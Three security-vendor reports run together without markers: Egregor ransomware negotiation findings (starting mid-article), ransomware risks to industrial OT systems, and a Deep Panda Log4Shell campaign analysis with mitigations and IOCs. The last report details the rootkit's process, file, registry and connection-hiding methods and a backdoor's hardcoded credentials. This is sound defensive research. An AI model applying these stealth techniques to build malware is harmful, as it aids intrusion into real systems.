However, the chat logs revealed a few glimpses of what could be perceived as empathy or practical consideration.
During one negotiation, Egregor offered to provide the decryption key, in exchange for the organization publicly announcing that the group does not intentionally target hospitals or charities.
In a chat with another victim, the threat actors discuss the hardships of COVID-19, even wishing the victim happy holidays.
What is ‘Egregor’?
The Egregor ransomware was first reported publicly in mid-2020, making it a relatively new entry into the criminal economy.
Egregor operators work through an affiliate model, meaning a small group of actors run and maintain the Egregor code base and other actors purchase access to Egregor and use the malware on systems they infect.
This model is best known as Ransomware as A Service (RaaS).
Many security analysts speculated that Egregor was the follow-up to the Maze ransomware, pointing to significant technical overlap between the two ransomware families after Maze’s threat actors declared retirement in November 2020.
Egregor gained significant recognition in 2021 as affiliates shifted from Maze to using this new ransomware family and leaked stolen information from impacted organizations, extorting them in efforts to collect a ransom.
The impact of Egregor ransomware has been felt worldwide with an estimated $80 million dollars in profit through their operations against at least 150 organizations.
Regarding victims, the highest number of reported cases was in the United States with infections clustered primarily within the manufacturing and retail industries.
Some of the larger targets have included Barnes and Noble, Randstad, French logistics firm Gefco and video game companies Ubisoft and Crytek.
In February 2021, a joint French and Ukrainian law enforcement operation disrupted Egregor’s infrastructure and arrested multiple Egregor associates.
As of the time of this publication, X-Force researchers are not aware of active Egregor intrusions.
What’s in a Ransom?
After reviewing elaborate chat logs between Egregor actors and representatives from victimized organizations, we obtained interesting insights about how the ransom amount was fixed and the overall negotiation process.
In a common flow of events, upon initial contact with victims, X-Force and Cylera analysts observed Egregor ransomware actors making an initial demand for a ransom payment that depended on the victim and their perceived ability to pay.
Analysis of approximately 50 ransom negotiations in Egregor chat logs from December 2020 shows that ransom demands varied wildly.
Average initial ransom demand $5,024,000 Average ransom payment $387,700 Highest initial ransom demand $35,000,000 Lowest initial ransom demand $100,000 Sum of all ransom demands $226,080,000 Figure 1:
Egregor ransom demands and average ransom payment, in U.S. dollars, December 2020 (Source: IBM X-Force/Cylera)
How each ransom amount was determined was likely a judgment call based on a combination of publicly available information about the victim along with what the operators perceived the victim could afford to pay.
Ultimately, researchers observed that the threat actors appeared to strike a balance between a victim’s ability and willingness to pay while considering multiple additional factors.
In one negotiation, Egregor actors gave the victim organization an initial ransom demand of $1.7 million.
Through some negotiating by the victim, explaining they were a small company, Egregor operators decreased the ransom to $1 million.
In another example, Egregor operators alluded to using an analyst associated with Egregor operations to estimate a victim’s total loss if they were to forego paying the ransom and instead suffer a data leak.
The attacker’s comments indicate that the initial ransom demand is 5-10% of that estimated loss.
In another example, a victim pleads with the attackers for a lower ransom price due to the inability to pay as a result of COVID-19 pandemic-related hardships.
The Egregor actors demanded proof from the victim that they were experiencing financial hardships, even going as far as requesting information from the IRS.
Buying Time: A Victim’s Strategy Deciding whether to pay and negotiating with the attackers is a hotly contested endeavor in the security community.
Both paying a ransom or deciding not to pay carry consequences.
We encourage organizations to review X-Force’s Definitive Guide to Ransomware , which lists the main topics companies should consider when the question arises as to whether they should pay a ransom.
Our review of the Egregor chat logs provides some insight into what mitigation or ransom reduction techniques could be effective if one is ever faced with a ransomware incident: Using company size to discount the ransom: In some cases, victims explained the size of their business with Egregor actors, which resulted in lower ransom demands.
Getting money and cryptocurrency takes time: In other instances, analysts observed victims explaining the process for acquiring money to pay the ransom, which extended the time before the actors leaked information about the compromised organization.
Well-Organized Cybercrime While parsing through multiple conversations, X-Force and Cylera analysts noticed a variety of roles the threat actors alluded to during the negotiation process.
Egregor negotiators referred to themselves as “members of the support team” who only get a fixed salary and fear being fired.
During discussions, they referred to other teams, including the financial department, data manager, attackers/IT specialists, PR manager, publications manager, and decryption tool master-maker.
Operators with a Heart?
Despite the intention of stealing millions of dollars from victims, the attackers have backed off from their demands in some circumstances if they believed they could receive positive press for doing so.
In one instance, X-Force and Cylera analysts observed negotiations between Egregor and a charity.
After a long conversation between the victim organization and Egregor operators, Egregor offered to provide the decryption key, asking that the organization publicly announce that the group does not intentionally target hospitals or charities.
In another ransom negotiation, the victim, a small U.S. dental practice, and Egregor support are discussing the hardships of 2020, specifically COVID-19.
Key Takeaways Despite the holiday wishes and reduced ransom in some instances, the December 2020 chat logs obtained by X-Force and Cylera demonstrate that many Egregor attacks were a successful, ruthless criminal operation.
Although the threat actors have ceased from using the Egregor ransomware family specifically, and only since the law enforcement activity in February 2021, X-Force analysts believe that a new infrastructure can be mounted and the same code can be used again in its original form or as modified code.
Moreover, with these attacks yielding extremely high profits for those residing in less prosperous parts of the world, new ransomware families and gangs will continue to emerge and may take Egregor’s place in the near future.
Ransomware attacks continue to be the top threat to organizations globally as this threat grows and expands its reach year over year.
Yet, even in the face of sophisticated threats, there are actions companies can take that can help mitigate risks and minimize damage: Establish and drill an incident response team.
Whether in-house or as a retained service, the formation of an incident response team and drilling the most relevant attack scenarios to your organization can make a big difference in attack outcomes and costs .
Establish and maintain offline backups.
Ensure you have files safely stored from attacker accessibility with read-only access.
Also consider the use of offsite/cold storage solutions.
The availability of backup files is a significant differentiator for organizations that can help recover from a ransomware attack.
Implement a strategy to prevent unauthorized data theft, especially as it applies to uploading large amounts of data to legitimate cloud storage platforms that attackers can abuse.
Consider blocking outbound traffic to unapproved cloud hosting services.
Employ user and entity behavior analytics to identify potential security incidents.
When triggered, assume a breach has taken place.
Audit, monitor and quickly act on suspected abuse related to privileged accounts and groups.
Deploy multifactor authentication on all remote access points into an enterprise network — with particular care given to secure or disable remote desktop protocol (RDP) access.
Multiple ransomware attacks have been known to exploit weak RDP access to gain initial entry into a targeted network.
Use penetration testing to identify weak points in enterprise networks and vulnerabilities that should be prioritized for patching.
In particular, we recommend implementing mitigations for CVE-2019-19781 , which multiple threat actors have used to gain initial entry into enterprises in 2020 and 2021 — including for ransomware attacks.
Consider prioritizing the immediate remediation, as applicable, of the following frequently exploited software vulnerabilities: CVE-2019-2725 CVE-2020-2021 CVE-2020-5902 CVE-2018-8453 VPN-related CVEs CVE-2019-11510 CVE-2019-11539 CVE-2018-13379 CVE-2019-18935 CVE-2021-22893 RDP Restrict port access on TCP port 3389
Apply multifactor authentication to remote access logins Remediate RDP vulnerabilities such as Windows RDP CVE-2019-0708 (BlueKeep) CVE-2020-3427 CVE-2020-0610 CVE-2020-0609 Segment networks according to the data they host.
Encrypt the data most likely to be stolen in an attack.
Consider adopting a Zero Trust approach and framework to better control what users can access and potentially halt an attack in its tracks.
If you are experiencing cybersecurity issues or an incident, contact X-Force to help: U.S. Hotline: 1-888-241-9812 | Global Hotline: +(001) 312-212-8034.
Learn more about X-Force’s threat intelligence and incident response services .
Since at least 2017, there has been a significant increase in public disclosures of ransomware incidents impacting industrial production and critical infrastructure organizations.
Well-known ransomware families like WannaCry, LockerGoga, MegaCortex, Ryuk, Maze, and now SNAKEHOSE (a.k.a.
Snake / Ekans), have cost victims across a variety of industry verticals many millions of dollars in ransom and collateral costs.
These incidents have also resulted in significant disruptions and delays to the physical processes that enable organizations to produce and deliver goods and services.
While lots of information has been shared about the victims and immediate impacts of industrial sector ransomware distribution operations, the public discourse continues to miss the big picture.
As financial crime actors have evolved their tactics from opportunistic to post-compromise ransomware deployment, we have observed an increase in adversaries’ internal reconnaissance that enables them to target systems that are vital to support the chain of production.
As a result, ransomware infections—either affecting critical assets in corporate networks or reaching computers in OT networks—often result in the same outcome: insufficient or late supply of end products or services.
Truly understanding the unique nuances of industrial sector ransomware distribution operations requires a combination of skillsets and visibility across both IT and OT systems.
Using examples derived from our consulting engagements and threat research, we will explain how the shift to post-compromise ransomware operations is fueling adversaries’ ability to disrupt industrial operations.
Industrial Sector Ransomware Distribution Poses Increasing Risk as Actors Move to Post-Compromise Deployment
The traditional approach to ransomware attacks predominantly relies on a “shotgun” methodology that consists of indiscriminate campaigns spreading malware to encrypt files and data from a variety of victims.
Actors following this model will extort victims for an average of $500 to $1,000 USD and hope to receive payments from as many individuals as possible.
While early ransomware campaigns adopting this approach were often considered out of scope for OT security, recent campaigns targeting entire industrial and critical infrastructure organizations have moved toward adopting a more operationally complex post-compromise approach.
In post-compromise ransomware incidents, a threat actor may still often rely on broadly distributed malware to obtain their initial access to a victim environment, but once on a network they will focus on gaining privileged access so they can explore the target networks and identify critical systems before deploying the ransomware.
This approach also makes it possible for the attacker to disable security processes that would normally be enough to detect known ransomware indicators or behaviors.
Actors cast wider nets that may impact critical systems, which  expand the scale and effectiveness of their end-stage operations by inflicting maximum pain on the victim.
As a result, they are better positioned to negotiate and can often demand much higher ransoms—which are commonly commensurate with the victims’ perceived ability to pay and the value of the ransomed assets themselves.
For more information, including technical detail, on similar activity, see our recent blog posts on FIN6 and TEMP.MixMaster .
Figure 1: Comparison of indiscriminate vs. post-compromise ransomware approaches Historical incidents involving the opportunistic deployment of ransomware have often been limited to impacting individual computers, which occasionally included OT intermediary systems that were either internet-accessible, poorly segmented, or exposed to infected portable media.
In 2017, we also observed campaigns such as NotPetya and BadRabbit, where wiper malware with worm-like capabilities were released to disrupt organizations while masquerading as ransomware.
While these types of campaigns pose a threat to industrial production, the adoption of post-compromise deployment presents three major twists in the plot.
As threat actors tailor their attacks to target specific industries or organizations, companies with high-availability requirements (e.g., public utilities, hospitals, and industrial manufacturing) and perceived abilities to pay ransoms (e.g., higher revenue companies) become prime targets.
This represents an expansion of financial crime actors’ targeting of industries that process directly marketable information (e.g., credit card numbers or customer data) to include the monetization of production environments.
As threat actors perform internal reconnaissance and move laterally across target networks before deploying ransomware, they are now better positioned to cast wide nets that impact the target’s most critical assets and negotiate from a privileged position.
Most importantly, many of the tactics, techniques, and procedures (TTPs) often used by financial actors in the past, resemble those employed by high-skilled actors across the initial and middle stages of the attack lifecycle of past OT security incidents.
Therefore, financial crime actors are likely capable of pivoting to and deploying ransomware in OT intermediary systems to further disrupt operations.
Organized Financial Crime Actors Have Demonstrated an Ability to Disrupt OT Assets
An actor’s capability to obtain financial benefits from post-compromise ransomware deployment depends on many factors, one of which is the ability to disrupt systems that are the most relevant to the core mission of the victim organizations.
As a result, we can expect mature actors to gradually broaden their selection from only IT and business processes, to also OT assets monitoring and controlling physical processes.
This is apparent in ransomware families such as SNAKEHOSE, which was designed to execute its payload only after stopping a series of processes that included some industrial software from vendors such as General Electric and Honeywell.
At first glance, the SNAKEHOSE kill list appeared to be specifically tailored to OT environments due to the relatively small number of processes (yet high number of OT-related processes) identified with automated tools for initial triage.
However, after manually extracting the list from the function that was terminating the processes, we determined that the kill list utilized by SNAKEHOSE actually targets over 1,000 processes.
In fact, we have observed very similar process kill lists deployed alongside samples from other ransomware families, including LockerGoga, MegaCortex, and Maze.
Not surprisingly, all of these code families have been associated with high-profile incidents impacting industrial organizations for the past two years.
The earliest kill list containing OT processes we identified was a batch script deployed alongside LockerGoga in January 2019.
The list is very similar to those used later in MegaCortex incidents, albeit with notable exceptions, such as an apparent typo on an OT-related process that is not present in our SNAKEHOSE or MegaCortex samples: “proficyclient.exe4”.
The absence of this typo in the SNAKEHOSE and MegaCortex samples could indicate that one of these malware authors identified and corrected the error when initially copying the OT-processes from the LockerGoga list, or that the LockerGoga author failed to properly incorporate the processes from some theoretical common source of origin, such as a dark web post.
Figure 2: ‘proficyclient.exe’ spelling in kill lists deployed with LockerGoga (left) and SNAKEHOSE (right)
Regardless of which ransomware family first employed the OT-related processes in a kill list or where the malware authors acquired the list, the seeming ubiquity of this list across malware families suggests that the list itself is more noteworthy than any individual malware family that has implemented it.
While the OT processes identified in these lists may simply represent the coincidental output of automated process collection from target environments and not a targeted effort to impact OT, the existence of this list provides financial crime actors opportunities to disrupt OT systems.
Furthermore, we expect that as financially motivated threat actors continue to impact industrial sector organizations, become more familiar with OT, and identify dependencies across IT and OT systems, they will develop capabilities—and potentially intent—to disrupt other systems and environments running industrial software products and technology.
Ransomware Deployments in Both IT and OT Systems Have Impacted Industrial Production As a result of adversaries’ post-compromise strategy and increased awareness of industrial sector targets, ransomware incidents have effectively impacted industrial production regardless of whether the malware was deployed in IT or OT.
Ransomware incidents encrypting data from servers and computers in corporate networks have resulted in direct or indirect disruptions to physical production processes overseen by OT networks.
This has caused insufficient or late supply of end products or services, representing long-term financial losses in the form of missed business opportunities, costs for incident response, regulatory fines, reputational damage, and sometimes even paid ransoms.
In certain sectors, such as utilities and public services, high availability is also critical to societal well-being.
The best-known example of ransomware impacting industrial production due to an IT network infection is Norsk Hydro’s incident from March 2019, where disruptions to Business Process Management Systems (BPMS) forced multiple sites to shut down automation operations.
Among other collateral damage, the ransomware interrupted communication between IT systems that are commonly used to manage resources across the production chain.
Interruptions to these flows of information containing for example product inventories, forced employees to identify manual alternatives to handle more than 6,500 stock-keeping units and 4,000 shelves.
FireEye Mandiant has responded to at least one similar case where TrickBot was used to deploy Ryuk ransomware at an oil rig manufacturer.
While the infection happened only on corporate networks, the biggest business impact was caused by disruptions of Oracle ERP software driving the company temporarily offline and negatively affecting production.
Ransomware may result in similar outcomes when it reaches IT-based assets in OT networks, for example human-machine interfaces (HMIs), supervisory control and data acquisition (SCADA) software, and engineering workstations.
Most of this equipment relies on commodity software and standard operating systems that are vulnerable to a variety of IT threats.
Mandiant Intelligence is aware of at least one incident in which an industrial facility suffered a plant shutdown due to a large-scale ransomware attack, based on sensitive sources.
The facility's network was improperly segmented, which allowed the malware to propagate from the corporate network into the OT network, where it encrypted servers, HMIs, workstations, and backups.
The facility had to reach out to multiple vendors to retrieve backups, many of which were decades old, which delayed complete restoration of production.
As recently as February 2020, the Cybersecurity Infrastructure and Security Agency (CISA) released Alert AA20-049A describing how a post-compromise ransomware incident had affected control and communication assets on the OT network of a natural gas compression facility.
Impacts to HMIs, data historians, and polling servers resulted in loss of availability and loss of view for human operators.
This prompted an intentional shut down of operations that lasted two days.
Mitigating the Effects of Ransomware Requires Defenses Across IT and OT Threat actors deploying ransomware have made rapid advances both in terms of effectiveness and as a criminal business model, imposing high operational costs on victims.
We encourage all organizations to evaluate their safety and industrial risks related to ransomware attacks.
Note that these recommendations will also help to build resilience in the face of other threats to business operations (e.g., cryptomining malware infections).
While every case will differ, we highlight the following recommendations.
For custom services and actionable intelligence in both IT and OT, contact FireEye Mandiant Consulting , Managed Defense , and Threat Intelligence .
Conduct tabletop and/or controlled red team exercises to assess the current security posture and ability of your organization to respond to the ransomware threat.
Simulate attack scenarios (mainly in non-production environments) to understand how the incident response team can (or cannot) detect, analyze, and recover from such an attack.
Revisit recovery requirements based on the exercise results.
In general, repeatedly practicing various threat scenarios will improve awareness and ability to respond to real incidents.
Review operations, business processes, and workflows to identify assets that are critical to maintaining continuous industrial operations.
Whenever possible, introduce redundancy for critical assets with low tolerance to downtime.
The right amount and type of redundancy is unique for each organization and can be determined through risk assessments and cost-benefit analyses.
Note that such analyses cannot be conducted without involving business process owners and collaborating across IT and OT.
Logically segregate primary and redundant assets either by a network-based or host-based firewall with subsequent asset hardening (e.g., disabling services typically used by ransomware for its propagation, like SMB, RDP, and WMI).
In addition to creating policies to disable unnecessary peer-to-peer and remote connections, we recommend routine auditing of all systems that potentially host these services and protocols.
Note that such architecture is generally more resilient to security incidents.
When establishing a rigorous back-up program, special attention should be paid to ensuring the security (integrity) of backups.
Critical backups must be kept offline or, at minimum, on a segregated network.
Optimize recovery plans in terms of recovery time objective.
Introduce required alternative workflows (including manual) for the duration of recovery.
This is especially critical for organizations with limited or no redundancy of critical assets.
When recovering from backups, harden recovered assets and the entire organization's infrastructure to prevent recurring ransomware infection and propagation.
Establish clear ownership and management of OT perimeter protection devices to ensure emergency, enterprise-wide changes are possible.
Effective network segmentation must be maintained during containment and active intrusions.
Hunt for adversary intrusion activity in intermediary systems , which we define as the networked workstations and servers using standard operating systems and protocols.
While the systems are further away from direct control of physical processes, there is a much higher likelihood of attacker presence.
Note, that every organization is different, with unique internal architectures and processes, stakeholder needs, and customer expectations.
Therefore, all recommendations should be carefully considered in the context of the individual infrastructures.
For instance, proper network segmentation is highly advisable for mitigating the spread of ransomware.
However, organizations with limited budgets may instead decide to leverage redundant asset diversification, host-based firewalls, and hardening as an alternative to segregating with hardware firewalls.
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FortiGuard Labs Research Affected Platforms: Windows Impacted Users: Windows Users Impact: Collects sensitive information from victim machines Severity Level:
Critical During the past month, FortiEDR detected a campaign by Deep Panda, a Chinese APT group.
The group exploited the infamous Log4Shell vulnerability in VMware Horizon servers.
The nature of targeting was opportunistic insofar that multiple infections in several countries and various sectors occurred on the same dates.
The victims belong to the financial, academic, cosmetics, and travel industries.
Following exploitation, Deep Panda deployed a backdoor on the infected machines.
Following forensic leads from the backdoor led us to discover a novel kernel rootkit signed with a stolen digital certificate.
We found that the same certificate was also used by another Chinese APT group, named Winnti, to sign some of their tools.
In this blog, we share our analysis of the flow of infection, the backdoor, and new rootkit, along with our attribution of this campaign to these Chinese nation-state threat actors.
Chain of Attack While examining customer alerts and telemetry, we noticed several infiltrations into victim networks that were achieved via a Log4Shell exploitation of vulnerable VMware Horizon servers.
These attacks spawned a new PowerShell process to download and execute a chain of scripts that ended with the installation of a malicious DLL.
The encoded PowerShell command downloads another PowerShell script from a remote server and executes it.
The next stage PowerShell script downloads three additional files from the same server: 1.bat , syn.exe and 1.dll .
The script then executes 1.bat , which in turn executes syn.exe and proceeds to delete all three files from the disk.
syn.exe is a program that loads its first command-line argument using LoadLibrary , in this case, 1.dll .
The 1.dll module is the final payload, a backdoor that we have dubbed Milestone.
Its code is based on the leaked source code of Gh0st RAT /Netbot
Attacker and is packed with Themida.
The backdoor copies itself to %APPDATA%\\newdev.dll and creates a service named msupdate2 by creating the service entry directly in the registry.
Several other service names and descriptions have been observed among different samples.
While it has the same name as the legitimate Microsoft newdev.dll , it has only two of the real newdev.dll's exports plus an additional ServiceMain export.
Overall, the backdoor has capabilities similar to Gh0st RAT’s, with notable differences.
Its C2 communication is uncompressed, unlike Gh0st RAT communication which is zlib-compressed.
There are differences in commands as well.
For example, in the CMD command, some variants first copy cmd.exe to dllhost.exe to avoid detection by security products that monitor CMD executions.
Additionally, the backdoor supports a command that sends information about the current sessions on the system to the server.
This command does not exist in the original Gh0st RAT source code.
Among the many backdoor samples we hunted down, there are two distinguishable versions: binaries compiled in 2016 contain the version string MileStone2016 , while those compiled in 2017 contain MileStone2017 .
The samples used in the recent infections we detected are only the 2017 variants.
There are several differences between the 2016 and 2017 Milestones.
First, 2017 Milestones are typically packed with Themida, while 2016 ones are unpacked.
Secondly, although 2016 Milestones have plausible timestamps, all 2017 Milestones share an identical timestamp, which leads us to believe they are forged.
Combined with the fact that 2017 backdoors are used in attacks to this day, it is uncertain whether they were compiled in 2017 or much later.
The two versions also slightly differ in commands and communication.
2016
Milestones apply XOR encryption to their communication, as well as support a command to execute as a new user with administrator privileges.
To do so, the backdoor first creates a new administrator user on the system, with the username ANONYMOUS and the password MileSt0ne2@16 .
It then executes another instance of itself as that user with CreateProcessAsUser and proceeds to remove the user from the system immediately thereafter.
A Stone’s Throw Away
In addition to the backdoors, we obtained a third type of sample – a dropper.
It writes three files to the disk: Benign executable – %APPDATA%\\syn.exe Milestone loader – %APPDATA%\\newdev.dll Driver – C:\\Windows\\system32\\drivers\\crtsys.sys The payloads above are stored XOR-encrypted and LZMA-compressed.
The XOR key is a hardcoded DWORD that changes between samples.
The dropper carries two builds of the driver for 32-bit and 64-bit systems.
Using the Service Control Manager (SCM) API, it installs the build compliant with the operating system architecture as a driver named FSFilter-Min .
The dropper patches the .data section of the loader binary to add its configuration before it writes it to disk.
Next, the dropper executes syn.exe , a benign executable signed by Synaptics, in order to side-load the newdev.dll loader module.
The loader also contains a XOR-encrypted and LZMA-compressed payload, which is a Milestone backdoor.
It decrypts the configuration with XOR 0xCC ​​​​​​​ and, like the dropper, patches the backdoor’s .data section with it.
The configuration contains the backdoor’s version, C2 server address and service parameters.
Finally, the loader reflectively loads the Milestone backdoor and calls its exports.
Fire Chili Rootkit As part of our research, we have collected four driver samples — two pairs of 32-bit and 64-bit samples.
One pair was compiled in early August 2017 and the second pair was compiled ten days later.
All four driver samples are digitally signed with stolen certificates from game development companies, either the US-based Frostburn Studios or the Korean 433CCR Company (433씨씨알 주식회사).
The signatures made with Frostburn Studios’ certificate are even timestamped.
Two of the samples are on VirusTotal and have a very low detection rate.
The rootkit starts by ensuring the victim machine is not running in safe mode.
It then checks the operating system version.
The rootkit uses Direct Kernel Object Modification (DKOM), which involves undocumented kernel structures and objects, for its operations.
For this reason, it relies on specific OS builds as otherwise it may cause the infected machine to crash.
In general, the latest supported build is Windows 10 Creators Update (Redstone 2), released in April 2017.
The purpose of the driver is to hide and protect malicious artifacts from user-mode components.
This includes four aspects: files, processes, registry keys and network connections.
The driver has four global lists, one for each aspect, that contain the artifacts to hide.
The driver’s IOCTLs allow dynamic configuration of the lists through its control device \\Device\\crtsys .
As such, the dropper uses these IOCTLs to hide the driver’s registry key, the loader and backdoor files, and the loader process.
Files The rootkit implements a filesystem minifilter using code based on Microsoft’s official driver code samples.
Prior to registering the minifilter instance, it dynamically creates an instance in the registry named Sfdev32TopInstance with altitude 483601 .
The rootkit sets only one callback for a postoperation routine for IRP_MJ_DIRECTORY_CONTROL .
When it receives an IRP with a minor function of IRP_MN_QUERY_DIRECTORY and a filename from the global file list, the callback changes the filename to “.”
and the filename length to 0 (in the FILE_BOTH_DIR_INFORMATION structure).
The global file list is initialized with the path of the driver by default ( *\\SYSTEM32\\DRIVERS\\CRTSYS.SYS ).
Processes There are two mechanisms pertaining to processes: Preventing process termination.
Hiding a process.
To prevent the termination of a process, the rootkit denies the PROCESS_TERMINATE access right of the processes it protects.
Using ObRegisterCallbacks , it registers a preoperation callback routine that triggers whenever a handle to a process or thread is created or duplicated in the system.
When the handle access originates from user-mode and the image path or PID of the handle target are in the global process list, the driver removes the PROCESS_TERMINATE permission from the DesiredAccess parameter.
This results in restricting user-mode processes from acquiring the permissions needed to terminate the threat actor’s malicious processes using standard APIs.
To hide a process, the rootkit monitors all newly created processes on the system by registering a callback using the PsSetCreateProcessNotifyRoutine API.
Whenever a new process is created on the system, the rootkit checks if its path is in the global process list.
If so, the process is removed from the ActiveProcessLinks list of the EPROCESS structure, which is a circular doubly-linked list of all running processes on the system.
The driver removes the process’s list entry from ActiveProcessLinks ​​​​​​​by linking its Flink (the next entry) to its Blink (the previous entry).
As a result, the process is hidden from utilities such as Task Manager.
Since the EPROCESS structure changes between Windows builds, the rootkit resolves the ActiveProcessLinks offset dynamically during runtime.
It traverses the process’s EPROCESS ​​​​​​​structure, comparing each member to its PID, to locate the offset of the UniqueProcessId field.
When found, the ActiveProcessLinks offset is also easily located as it is the next field in the EPROCESS structure.
The older rootkit samples use the hiding mechanism on Windows 8 and below, while the newer samples use it on only Windows 7 and below.
By default, the global process list is initialized with the path *\\qwerty.exe .
However, we have not observed any file with this name related to the campaign.
Registry Keys The rootkit hides registry keys from users using Microsoft’s Registry Editor.
The code is based on an open-source project published by a Chinese developer.
The HHIVE->GetCellRoutine functions of keys in the global registry keys list are replaced with a filter function.
When the path of the querying process is *\\WINDOWS\\REGEDIT.EXE , the function simply returns 0 in place of the key node.
By default, the global registry list is initialized with the rootkit’s registry key ( \\REGISTRY\\MACHINE\\SYSTEM\\CURRENTCONTROLSET\\SERVICES\\CRTSYS ) .
Network Connections The rootkit is capable of hiding TCP connections from tools such as netstat.
Much of the code for this part seems to be copied from an open-source project .
The rootkit attaches to nsiproxy.sys ’s device stack and intercepts IOCTLs of type IOCTL_NSI_GETALLPARAM ( 0x12000B ) that are sent to it.
This IOCTL is used to retrieve information about the active network connections on the system.
When it is intercepted, the driver replaces the IoCompletion routine with a function that filters the results to hide its own network connections.
IOCTL_NSI_GETALLPARAM returns the information about network connections in an NSI_PARAM structure.
NSI_PARAM contains connection data such as IP, port, connection state, and process IDs of the executables in charge of creating the connection.
The filter function iterates this structure, searching for connections involving a process or port number from its global network list.
All identified connections are removed from the structure, rendering them hidden from the process that sent the IOCTL.
It is interesting to note that the newer build of the 64-bit rootkit added support to filter IOCTLs from 32-bit processes as well.
If attaching to nsiproxy.sys fails, the rootkit attaches to \\Device\\Tcp instead, intercepting IOCTL_TCP_QUERY_INFORMATION_EX (0x120003) and hiding network connections in a similar manner.
By default, the global network list is initialized with the following process paths: *\\SYN.EXE *\\SVCHOST.EXE
As a result, TCP connections of all services running under svchost.exe are hidden, not just the ones of the Milestone backdoor.
Attribution The Milestone backdoor is actually the same Infoadmin RAT that was used by Deep Panda back in the early 2010s, referenced in blogs from 2013 and 2015 .
Although many backdoors are based on Gh0st RAT code, Milestone and Infoadmin are distinguishable from the rest.
Besides having profoundly similar code, both backdoors incorporate identical modifications of Gh0st RAT code not seen in other variants.
Both backdoors share a XOR encryption function for encrypting communication and have abandoned the zlib compression of the original Gh0st RAT.
Both also modified Gh0st RAT code in an identical way, specifically the CMD and screen capture functions.
Moreover, the backdoors share two commands that are not present in other Gh0st RAT variants: the session enumeration command and the command to execute as an administrative user.
Additional evidence indicates affiliation to Winnti.
The rootkits are digitally signed with certificates stolen from game development companies, which is a known characteristic of Winnti.
Searching for more files signed with one of the certificates led to a malicious DLL uploaded to VirusTotal with the name winmm.dll .
Further examination revealed it as the same tool referenced in a blog about Winnti that was published in 2013 .
Yet another connection to Winnti is based on a C2 domain.
Two of the newdev.dll loaders are configured with the server gnisoft[.
]com , which was attributed to Winnti in 2020 .
Conclusion In this blog, we have attributed a series of opportunistic Log4Shell infections from the past month to Deep Panda.
Though previous technical publications on Deep Panda were published more than half a decade ago, this blog also relates to a more recent report about the Milestone backdoor, which shows that their operations have continued throughout all these years.
Furthermore, we introduced the previously unknown Fire Chili rootkit and two compromised digital signatures, one of which we also directly linked to Winnti.
Although both Deep Panda and Winnti are known to use rootkits as part of their toolset, Fire Chili is a novel strain with a unique code base different from the ones previously affiliated with the groups.
The reason these tools are linked to two different groups is unclear at this time.
It’s possible that the groups’ developers shared resources, such as stolen certificates and C2 infrastructure, with each other.
This may explain why the samples were only signed several hours after being compiled.
Fortinet Solutions FortiEDR detects and blocks these threats out-of-the-box without any prior knowledge or special configuration.
It does this using its post-execution prevention engine to identify malicious activities: All network IOCs have been added to the FortiGuard WebFiltering blocklist.
The FortiGuard Antivirus service engine is included in Fortinet’s FortiGate, FortiMail, FortiClient, and FortiEDR solutions.
FortiGuard Antivirus has coverage in place as follows: W32/Themida.
ICD!tr BAT/Agent.6057!tr W64/Agent.
A10B!tr W32/Agent.0B37!tr W32/GenKryptik.
FQLT!tr W32/Generic.
AC.F834B!tr W32/GenKryptik.
ATCY!tr W32/Generic.
AP.33C2D2!tr W32/GenKryptik.
AQZZ!tr W32/Generic.
HCRGEJT!tr W32/Agent.
DKR!tr W32/Agent.
QNP!tr W32/Agent.
RXT!tr W32/Agentb.
BXIQ!tr W32/Agent.
DA3E!tr W32/Agent.
D584!tr W32/Agent.0F09!tr W32/Agent.3385!tr W64/Agent.
D87B!tr.rkit W32/Agent.69C1!tr.rkit
In addition, as part of our membership in the Cyber Threat Alliance, details of this threat were shared in real-time with other Alliance members to help create better protections for customers.
Appendix A:
MITRE ATT&CK Techniques ID Description T1190
Exploit Public-Facing Application T1569.002 System Services: Service Execution T1059.001 Command and Scripting Interpreter: PowerShell T1027 Obfuscated Files or Information: Software Packing T1041 Exfiltration Over C2 Channel T1082
System Information Discovery T1036 Masquerading T1083 File and Directory Discovery T1059.003 Command and Scripting Interpreter:
Windows Command Shell T1592
Gather Victim Host Information T1588.003 Obtain Capabilities: Code Signing Certificates T1014 Rootkit T1574.002 Hijack Execution Flow:
DLL Side-Loading T1620
Reflective Code Loading T1113 Screen Capture Appendix B: IOCs IOC Type Details ece45c25d47ba362d542cd0427775e68396bbbd72fef39823826690b82216c69 SHA256 Backdoor 517c1baf108461c975e988f3e89d4e95a92a40bd1268cdac385951af791947ba SHA256 Backdoor a573a413cbb1694d985376788d42ab2b342e6ce94dd1599602b73f5cca695d8f SHA256
Backdoor 9eeec764e77bec58d366c2efc3817ed56371e4b308e94ad04a6d6307f2e12eda SHA256
Backdoor d005a8cf301819a46ecbb1d1e5db0bf87951808d141ada5e13ffc4b68155a112 SHA256 Backdoor 69c69d71a7e334f8ef9d47e7b32d701a0ecd22ce79e0c11dabbc837c9e0fedc2 SHA256 Backdoor dfd2409f2b0f403e82252b48a84ff4d7bc3ebc1392226a9a067adc4791a26ee7 SHA256 Backdoor 07c87d036ab5dca9947c20b7eb7d15c9434bb9f125ac564986b33f6c9204ab47 SHA256 Backdoor c0a2a3708516a321ad2fd68400bef6a3b302af54d6533b5cce6c67b4e13b87d3 SHA256 Backdoor f8b581393849be5fc4cea22a9ab6849295d9230a429822ceb4b8ee12b1d24683 SHA256 Backdoor 14930488158df5fca4cba80b1089f41dc296e19bebf41e2ff6e5b32770ac0f1e SHA256 Backdoor a9fa8e8609872cdcea241e3aab726b02b124c82de4c77ad3c3722d7c6b93b9b5 SHA256 Backdoor e92d4e58dfae7c1aadeef42056d5e2e5002814ee3b9b5ab1a48229bf00f3ade6 SHA256 Backdoor 855449914f8ecd7371bf9e155f9a97969fee0655db5cf9418583e1d98f1adf14 SHA256 Backdoor a5fd7e68970e79f1a5514630928fde1ef9f2da197a12a57049dece9c7451ed7b SHA256 Backdoor f5eb8949e39c8d3d70ff654a004bc8388eb0dd13ccb9d9958fd25aee47c1d3ae SHA256 Backdoor 64255ff02e774588995b203d556c9fa9e2c22a978aec02ff7dea372983b47d38 SHA256
Backdoor b598cb6ba7c99dcf6040f7073fe313e648db9dd2f6e71cba89790cc45c8c9026 SHA256 Backdoor 2d252c51a29f86032421df82524c6161c7a63876c4dc20faffa47929ec8a9d60 SHA256 Backdoor 2de6fb71c1d5ba0cd8d321546c04eaddddbf4a00ce4ef6ca6b7974a2a734a147 SHA256 Backdoor bd5d730bd204abaddc8db55900f307ff62eaf71c0dc30cebad403f7ce2737b5c SHA256
